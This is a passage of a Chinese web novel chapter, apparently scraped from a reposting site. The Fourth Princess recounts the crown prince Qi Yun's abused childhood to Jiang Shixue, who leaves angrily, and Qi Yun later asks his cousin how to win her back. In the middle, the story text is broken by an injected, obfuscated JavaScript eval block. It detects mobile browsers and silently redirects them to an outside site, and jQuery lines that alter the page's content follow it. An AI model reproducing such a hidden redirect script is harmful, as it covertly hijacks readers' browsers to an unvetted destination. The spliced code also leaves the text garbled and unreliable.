四公主摇头:“你不知道他在宫中的处境。”
“虽然贵为太子,但母后早早去世,父皇又惯来不喜……加之尤贵妃得宠,二皇兄处处压制她一头。”
“皇兄他这些年,其实很不容易。”
“他们都说皇后娘娘昔日是耀如春华的一个人,我压根不敢信。”
她想起未央宫压抑而沉重的气氛,还有皇后那张容色枯槁,总是眉心紧蹙的脸,垂下眼:
“皇后待皇兄十分严厉,动辄打骂,别的皇子三五岁时才开蒙,皇后娘娘却要求皇兄能将四书倒背如流。”
“幼时路过未央宫,常能听见皇后的打骂声。”
“有一年酷夏难熬,人人都穿纱图个清凉,唯独他依然一身厚重长袍,后来他热晕在上书房,夫子将他的衣袍解开,才发现皇兄一身是伤,从鞭打到掐伤都有,他死死捂着,是不想叫旁人看见。”
姜时雪听得眼皮直跳,她全然没办法将这些事和薛……和祁昀联系在一起。
还有那徐皇后,一个会在春日同婢女踢毽子取乐的鲜活小娘子,怎会变成那样可怕的模样?
四公主似乎瞧出她心中所想,道:“阿雪在宫中待的时间不长,自是不知道深宫会将一个人摧残到什么程度。”
“更何况……”她抬头看了一眼那株白玉兰。
正因痴情,才更生不如死。
徐清影死时,并未留下只言片语。
老国公悲恸不已,皇后下葬后,他延续了徐清影在时的习惯。
每年春来玉兰花开,徐清影都会叫人小心翼翼收集这株玉兰掉下的花瓣送入宫中,制成香囊。
可惜四公主记忆里从未在父皇身上见到过玉兰花香囊。
姜时雪听完,再抬头看那那株玉兰,心口憋闷得厉害。
四公主叹道:“若非荣国公相护,父皇不敢动作,否则皇兄这太子之位,恐怕……”
姜时雪现在才知道,恐怕当时他流落余州,便是有人蓄意谋害。
所以才不敢告诉自己他的真实身份么?
四公主今日是来当说客的,眼下将皇兄交代她的说了个七七八八,暗自观察着姜时雪的神色。
“阿雪,皇兄瞒你是不该,但很多事情都事出有因,并非他想刻意捉弄你。”
这话竟死死踩在姜时雪的痛处。
她明白祁昀洞悉人心,此刻怎可能不知道自己是落了他的套。
他既然敢捅破自己的身份,便想好了后路。
可就是这样的步步为营,叫姜时雪更生气了。
她算什么,值得他如此尽心筹谋?
四公主见姜时雪时而悲愤,时而委屈,便放了大半的心。
她在宫中察言观色多年,这点本事还是有的。
她不知道两人之间具体的细节,只能捡着话说:“皇兄知道你今日定会生气,所以早早央我来当个说客。”
她有些羡慕道:“阿雪,真心在皇宫里是最不常有东西,可依我看,皇兄是把他的真心都尽数捧给了你的。”
可她不是姜时雪,不知此时一切摊开,反倒叫祁昀的许多行为变得古怪。
譬如替嫁一事。
若他真心相待,将她接到东宫的时候,便大可同她说明真相。
可他却找来一个替身,将她戏耍得团团转。
姜时雪向来聪明,也猜恐怕还有什么原是她不知道的。
但此刻面对的是四公主,姜时雪也不好问,只能抿着唇说:“殿下,多谢今日你来同我说这这些。”
她眸子里有些倔意:“但是这是我和他的事。”
“劳烦殿下回去帮我告诉他,有什么要解释的,当面来找我说。”
她朝她略一颔首,径直下了车。
四公主愣了下,正想开口唤她上车,她送她回去,便看见少女走到荣国府偏门处,与那门房说了几句话,
片刻后,她竟坐上了停在偏门处的那辆拉货马车,扬长而去。
四公主目瞪口呆,旋即失笑。
她实在没按捺住好奇,换候在马车外的宫女去问那门房,方才那姑娘同他说了什么?
宫女很快前来回禀:“殿下,那门房说,方才的姑娘叫他去问问管事,一处叫立雪园的宅子是不是府上所有,若是的话,便送她回去,主家若过问起来,便只管去问立雪园的主人。”
她话音刚落,偏门处忽地探出个脑袋,旋即有一个剑眉星目的年轻公子一把拨开他,跨步而出:“哪里来的姑娘?王叔你莫要诓我!”
王管事一拍掌,道:“公子啊,千真万确!方才正是疾风来通禀老奴的。”
被点名的疾风连忙点头。
王管事压低声音:“立雪园不是公子名下的宅子吗,又是个漂亮姑娘气势汹汹找上来,老奴这不是怕事情捅到老爷和太老爷那去……”
年轻公子气得跳脚:“休得败坏我名声!”
他指着空荡荡的门口说:“哪有什么漂亮姑娘?我看疾风是眼花了!”
四公主掩下笑意,把宫女叫过来吩咐了几句。
她含笑看着不远处。
此人正是祁昀的表兄,徐家二房的独子,徐松庭。
徐松庭听完话,挑眉朝着马车看过来。
四公主对他微微一笑,放下车帘,驱使马车离开了。
马车起步,徐松庭忽然三步并作两步跑过来拦车:“公主!”
四公主没有打起车帘,道:“皇兄在明澄湖,船头绘牡丹那艘画舫。”
话音落,马车再度动起来。
徐松庭看着马车离去,暂且压下心头好奇,急急道:“牵马来!”
阿昀这小子,竟能有惹上桃花债的时候?!他定得去问问!
徐松庭赶到明澄湖的时候,正值热闹之际。
美艳歌姬船头招袖,风流文人以笛相合,湖上光华点点,水波温柔。
徐松庭登上画舫,咳嗽了一声。
出来迎他的是冷渊。
冷渊有些惊讶,只是面上不显:“徐公子,你怎么来了?”
徐松庭伸头看了一眼里面,问:“阿昀在不在?”
冷渊错开身子,让他进去。
祁昀屈膝坐在角落,一盏朦胧青灯相伴。
他正埋头摆弄一盏兔子灯。
徐松庭看惯了平时双他板着脸,疏离淡漠的模样,冷不丁见他在鼓捣这有些幼稚的玩意,心中好笑,走过去问:“阿昀在做什么?”
祁昀手下动作不停,并未抬头:“兄长怎么来了。”
徐松庭哪知道方才发生了什么,一掀衣摆,大马金刀坐在对面,带着几分揶揄道:“方才有个姑娘来荣国公府借了马车回立雪园。”
祁昀动作一顿。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075832|175224||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他话里带笑:“听王叔说那姑娘又气又怒,这不我立刻就过来了。”
他伸出手,敲了敲琴案:“你这样冷的性子,还能把人家姑娘招惹得这般生气?实在是怪哉。”
祁昀终于抬起头来,一双黢黑的眸有些空,仿佛大雪过境的荒野。
“她找荣国公府借了马车?”
徐松庭点头:“四公主就在外面呢,我看样子两人恐怕还是认识的,也不知那姑娘是在生你的气,还是在生四公主的气,放着现成的马车不坐,跳上了拉货的马车扬长而去。”
他痛心疾首:“你既然都舍得将立雪园给她住,却叫佳人乘了拉货的马车……”
祁昀眼睫轻动,眸中忽然就有了情绪。
冷渊咳嗽一声,进来递了一张纸条给祁昀,低声说:“四公主递来的。”
祁昀展开纸条读了一遍,面无表情颔首:“跟她说我知道了。”
徐松庭看着他们打哑谜似的,像是被猫儿挠了一抓,好奇得心痒痒。
但他又不能开口问,当真是抓心挠肝,难受得紧。
“她便是侧妃。”
祁昀声音清冷,忽然开口。
徐松庭愣了下,惊得眼睛都瞪圆了。
侧妃江氏?侧妃近来不是病了吗?怎么会出现在宫外?
徐松庭一片凌乱之际,祁昀又开口了:“兄长红颜知己无数,想必在哄女子一道上颇有心得。”
他忽视脸色通红,剧烈咳嗽起来的徐松庭,用认真的语气发问:“兄长教教我,若是女子生了气,该如何叫她消气?”
徐松庭望着面前容色清冷,却含着诚恳的祁昀,心底某个角落狠狠摇晃,旋即坍塌一地。
这……这还是他认识的那个太子吗?
姜时雪回立雪园后,将自己关起来闭门不出。
第二天日落时分,姜时雪依然没有露面。
日光融融,将祁昀的衣袖染成金黄的色泽,他整个人如同一捧在夕阳下即将融化的雪。
姜柏和姜夫人看着满花厅的金银首饰,绫罗绸缎,面面相觑。
祁昀来时好大的动静,马车停下,一车又一车的东西往里搬,看阵仗姜家二老还以为是薛尽上门提亲来了。
没想到祁昀朝着他们鞠了一躬,说这些都是赔礼。
他开罪了姜时雪,还需二老出面帮忙通传。
没想到人都已经留在这里跟他们用了一顿饭,姜时雪还是没露面。
祁昀也不急,静静坐在花厅等。
姜家二老知道他性子冷,却不知跟这样的人同处一室也是种折磨。
此处还是他安排的住处,他们似客非客,想好生招待吧也不合适,就这么把他冷落在一旁更不合适。
饶是姜柏商贾出身,长袖善舞,此时闲聊几句之后都坐不住了。
这薛尽……他压根就是座冰山呐!
你同他说话,他有问有答,礼貌有加,但能说一个字,绝不多说第二个字,几句之间便冷场。
偏偏此人气场强大,就是静坐不语,也很难忽视他的存在。
姜柏茶都喝了七八盏,实在是难受,于是吩咐人又去通传了姜时雪一声,侍女回禀说姜时雪根本不理人。
姜柏面子挂不住了,打算亲自去请人。
才起身,祁昀忽然说:“伯父伯母,可否允我去她院子外说几句话。”